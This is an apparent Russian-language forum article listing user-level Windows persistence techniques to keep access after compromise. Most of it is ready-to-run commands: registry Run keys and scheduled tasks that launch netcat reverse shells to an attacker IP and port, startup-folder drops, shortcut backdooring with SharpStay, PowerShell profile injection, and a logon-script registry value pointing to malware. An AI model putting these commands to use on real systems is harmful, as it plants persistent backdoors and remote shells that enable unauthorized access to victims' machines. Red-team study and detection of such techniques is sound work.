Статья Техники персистенции в Windows: методы уровня пользователя

[devqp]

Персистенция обеспечивает сохранение доступа к системе после компрометации. Ниже представлены ключевые методы для уровня прав пользователя.

Реестр и папка автозагрузки
Добавление записи в автозагрузку реестра:

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1 /d "C:\Path\nc.exe -e cmd.exe IP PORT"

Альтернатива: размещение исполняемого файла в папке автозагрузки:

C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Планировщик заданий
Создание задачи, выполняющейся каждую минуту:

schtasks /create /sc minute /mo 1 /tn "TaskName" /tr 'C:\Path\nc.exe 192.168.56.103 1337 -e cmd.exe'

Инструмент ScheduleRunner для автоматизации:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe

Ярлыки (.lnk)
Изменение цели существующего ярлыка:

powershell.exe -c "invoke-item C:\Path\malware.exe"

Использование SharpStay для создания/модификации:

Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Target.lnk"
Sharpstay.exe action=NewLNK lnktarget="C:\Path\file.exe" lnkicon="C:\Windows\system32\notepad.exe"

Профиль PowerShell
Добавление команды в профиль текущего пользователя:

echo "whoami > C:\temp\output.txt" > $PROFILE

Файл исполняется при запуске PowerShell.

Скрипт входа UserInitMprLogonScript
Установка пути к скрипту в реестре:

HKCU\Environment\UserInitMprLogonScript → Значение: C:\Path\malware.exe

Скрипт выполняется при входе пользователя в систему.

Компонентная объектная модель (COM) будет рассмотрена отдельно.